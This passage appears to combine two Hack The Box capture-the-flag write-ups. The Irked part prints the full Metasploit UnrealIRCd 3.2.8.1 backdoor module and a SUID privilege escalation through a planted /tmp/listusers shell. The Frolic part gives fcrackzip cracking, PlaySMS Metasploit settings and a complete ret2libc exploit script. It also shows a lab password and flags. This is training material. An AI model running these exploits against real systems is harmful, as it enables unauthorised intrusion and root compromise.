nmap also gave me the name of the irc server, UnrealIRCd. searchsploit shows there are exploits if the version is 3.2.8.1:

root@kali:~/htb# searchsploit UnrealIRCd
---------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
---------------------------------------------------------------- ----------------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | exploits/linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | exploits/windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | exploits/linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service | exploits/windows/dos/27407.pl
---------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali:~/htb# searchsploit -m exploits/linux/remote/16922.rb
Exploit: UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)
URL: https://www.exploit-db.com/exploits/16922/
Path: /usr/share/exploitdb/exploits/linux/remote/16922.rb
File Type: Ruby script, ASCII text, with CRLF line terminators
Copied to: /root/htb/16922.rb

root@kali:~/htb# cat 16922.rb 
##
# $Id: unreal_ircd_3281_backdoor.rb 11227 2010-12-05 15:08:22Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
			'Description'    => %q{
					This module exploits a malicious backdoor that was added to the
				Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
				Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11227 $',
			'References'     =>
				[
					[ 'CVE', '2010-2075' ],
					[ 'OSVDB', '65445' ],
					[ 'URL', 'http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt' ]
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Jun 12 2010'))

		register_options(
			[
				Opt::RPORT(6667)
			], self.class)
	end

	def exploit
		connect

		print_status("Connected to #{rhost}:#{rport}...")
		banner = sock.get_once(-1, 30)
		banner.to_s.split("\n").each do |line|
			print_line("    #{line}")
		end

		print_status("Sending backdoor command...")
		sock.put("AB;" + payload.encoded + "\n")

		handler
		disconnect
	end
endroot@kali:~/htb#

It looks like the exploit is to connect and then send “AB;” + the payload + “\n”.

Privilege Escalation

First, I open the user.txt file and finish the first challenge. Now let’s penetrate more to find the root.txt file, and that’s why we need to increase the privilege, so I’m trying to find out if there’s any suid permission script.Here /usr/bin/viewuser looks more interesting, let’s check it out.

root@kali:~/htb# ssh djmardov@10.10.10.117
djmardov@10.10.10.117's password: Kab6h+m+bbp2J:HG

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Sep  4 05:13:43 2019 from 10.10.14.5
djmardov@irked:~$ pwd
/home/djmardov
djmardov@irked:~$ cat Documents/user.txt 
4a66a78b12dc0e661a59d3f5c0267a8e
djmardov@irked:/$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/sbin/exim4
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/at
/usr/bin/pkexec
/usr/bin/X
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/viewuser
/sbin/mount.nfs
/bin/su
/bin/mount
/bin/fusermount
/bin/ntfs-3g
/bin/umount
djmardov@irked:/$ ls -la /usr/bin/viewuser
-rwsr-xr-x 1 root root 7328 May 16 2018 /usr/bin/viewuser
djmardov@irked:/$ /usr/bin/viewuser 
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2019-09-04 05:05 (:0)
djmardov pts/1 2019-09-04 05:13 (10.10.14.5)
sh: 1: /tmp/listusers: not found
djmardov@irked:/$ echo '/bin/sh' > /tmp/listusers
djmardov@irked:/$ chmod 777 /tmp/listusers
djmardov@irked:/$ /usr/bin/viewuser 
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2019-09-04 05:05 (:0)
djmardov pts/1 2019-09-04 05:13 (10.10.14.5)
# id
uid=0(root) gid=1000(djmardov) groups=1000(djmardov),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)
# cd /root
# ls
pass.txt root.txt
# cat root.txt
8d8*****af3

So, when I run the program, I found that this application was being developed to set test user permissions but couldn’t find listusers file within /tmp. This program is, therefore, searching for data from the listusers file and the file is missing from the directory inside /tmp.

So what we can do is write a script to call bin / sh and save it as listusers inside /tmp and then run the viewuser to run it.

Now we have a root shell

Credits to hackingarticles.in

Author: Jacco Straathof

HTB – Frolic


Also, if you do not know what a ret2libc exploit is, here is a guide manulqwerty did a while ago: Return to libc guide
If you want to see a detailed explanation I recommend the videos of IppSec).

Video

Write-Up

Enumeration

As always, the first thing will be a scan of all the ports with nmap :

1
nmap -sC -sV 10.10.10.111


As you can see, there is a SSH, a SMB and an HTTP.

We will enumerate the web with dirsearch recursively.

1
dirsearch -u http://frolic.htb:9999/ -r -e php -t 50 -x 403


Accessing to http://frolic.htb/admin/success.html we see a code Okk!

In http://frolic.htb/asdiSIAJJ0QWE9JAS we find a base64 that after decoding it we see that it is a ZIP with a password.

We can brute force the zip with fcrackzip:

1
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt fr.zip


The ZIP contains a file index.php that is an hexadecimal code. We translate the hexadecimal to ascii, getting a base64 that contains a brainfuck code.

After decoding the Brainfuck code, we get: idkwhatispass
Reviewing the results of Dirsearch we see that there’s a http://frolic.htb/dev/backup

With the credentials admin:idkwhatispass we can access the playsms.

Exploitation

The PlaySMS is vulnerable, we can get shell through a metasploitmodule: multi/http/playsms_uploadcsv_exec

1
2
3
4
5
6
use multi/http/playsms_uploadcsv_exec
set rhosts 10.10.10.111
set lhost tun0
set rport 9999   
set targeturi /playsms/
set password idkwhatispass

Post-Exploitation

To access the root user, we will have to be able to develop an exploit for a binary with the NX bit activated but without ASLR in the system. I will use the ret2libc technique.
The first thing is to look for binaries with the SUID bit active using find:

1
find / -perm -4000 2>/dev/null


We found the binary: /home/ayush/.binary/rop that belongs to the root user.
Check that ASLR is disabled:

1
cat /proc/sys/kernel/randomize_va_space


As we saw in the ret-2-libc guide, we need the length of our padding and the system, exit and /bin/sh addresses in the libc library.
We are going to make a template that we will be completing:

1
2
3
4
5
6
7
8
9
10
11
12
import struct
def m32(dir):
    return struct.pack("I",dir)
padding =
base =
sys = m32(base + )
exit = m32(base + )
binsh = m32(base + )
print padding + sys + exit + binsh

Let’s find the length of our padding with msf-pattern:

The length of our fill will be 52 bytes, let’s look for the addresses of the libc librarysystemexit and /bin/sh.

Our exploit:

1
2
3
4
5
6
7
8
9
10
11
12
import struct
def m32(dir):
    return struct.pack("I",dir)
padding = "A" * 52
base = 0xb7e19000
sys = m32(base + 0x0003ada0)
exit = m32(base + 0x0002e9d0)
binsh = m32(base + 0x15ba0b)
print padding + sys + exit + binsh

Let’s execute it

1
./rop $(python /tmp/exploit)

All credits go to: © 2019 IRONHACKERS